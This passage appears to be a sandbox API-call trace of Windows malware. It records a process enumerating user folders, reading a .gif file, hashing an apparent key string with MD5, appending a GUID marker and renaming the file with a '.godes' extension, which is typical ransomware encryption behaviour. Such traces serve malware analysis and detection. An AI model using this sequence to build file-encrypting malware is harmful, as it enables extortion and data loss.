wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.884] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0114.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.885] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.885] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.885] PathFindFileNameW (pszPath="") returned="" [0114.885] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.885] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.885] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0114.885] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.885] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.885] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0114.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.886] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.886] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.886] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.886] PathFindFileNameW (pszPath="") returned="" [0114.886] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.887] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.887] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0114.887] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0114.887] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0114.887] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.887] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.889] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.889] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0114.889] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.889] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.889] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.889] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.889] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.889] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.889] PathFindFileNameW (pszPath="") returned="" [0114.889] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.890] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.890] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0114.890] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0114.890] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0114.890] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0114.890] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.891] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.891] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.891] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\") returned="KL GUyg5\\" [0114.891] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0114.891] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0114.891] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0114.891] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.891] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.891] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.891] PathFindFileNameW (pszPath="") returned="" [0114.891] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe818d230, ftCreationTime.dwHighDateTime=0x1d4cb50, ftLastAccessTime.dwLowDateTime=0xb0fee710, ftLastAccessTime.dwHighDateTime=0x1d4d340, ftLastWriteTime.dwLowDateTime=0xb0fee710, ftLastWriteTime.dwHighDateTime=0x1d4d340, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.892] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe818d230, ftCreationTime.dwHighDateTime=0x1d4cb50, ftLastAccessTime.dwLowDateTime=0xb0fee710, ftLastAccessTime.dwHighDateTime=0x1d4d340, ftLastWriteTime.dwLowDateTime=0xb0fee710, ftLastWriteTime.dwHighDateTime=0x1d4d340, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb22f5cb0, ftCreationTime.dwHighDateTime=0x1d4c9bc, ftLastAccessTime.dwLowDateTime=0xa4118400, ftLastAccessTime.dwHighDateTime=0x1d4c741, ftLastWriteTime.dwLowDateTime=0xa4118400, ftLastWriteTime.dwHighDateTime=0x1d4c741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aoQ9WvOr9RAjhS9", cAlternateFileName="AOQ9WV~1")) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd48ccd80, ftCreationTime.dwHighDateTime=0x1d4cf14, ftLastAccessTime.dwLowDateTime=0x8d19ac60, ftLastAccessTime.dwHighDateTime=0x1d4ccf9, ftLastWriteTime.dwLowDateTime=0x8d19ac60, ftLastWriteTime.dwHighDateTime=0x1d4ccf9, nFileSizeHigh=0x0, nFileSizeLow=0x15719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LnHpzG.gif", cAlternateFileName="")) returned 1 [0114.892] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\LnHpzG.gif") returned=".gif" [0114.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\LnHpzG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\lnhpzg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.893] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=87833) returned 1 [0114.893] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.894] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x156f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.894] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.896] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x15719, lpOverlapped=0x0) returned 1 [0114.897] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.897] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.897] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.897] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741158) returned 1 [0114.897] CryptCreateHash (in: hProv=0x741158, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.897] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.897] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.898] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.898] GetLastError () returned 0x0 [0114.898] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.898] CryptReleaseContext (hProv=0x741158, dwFlags=0x0) returned 1 [0114.898] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15719, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.898] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.898] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.899] CloseHandle (hObject=0x624) returned 1 [0114.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\LnHpzG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\lnhpzg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\LnHpzG.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\lnhpzg.gif.godes")) returned 1 [0114.901] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd48ccd80, ftCreationTime.dwHighDateTime=0x1d4cf14, ftLastAccessTime.dwLowDateTime=0x8d19ac60, ftLastAccessTime.dwHighDateTime=0x1d4ccf9, ftLastWriteTime.dwLowDateTime=0x8d19ac60, ftLastWriteTime.dwHighDateTime=0x1d4ccf9, nFileSizeHigh=0x0, nFileSizeLow=0x15719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LnHpzG.gif", cAlternateFileName="")) returned 0 [0114.901] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.901] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321138 [0114.901] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.902] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.903] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.903] RtlAllocateHeap 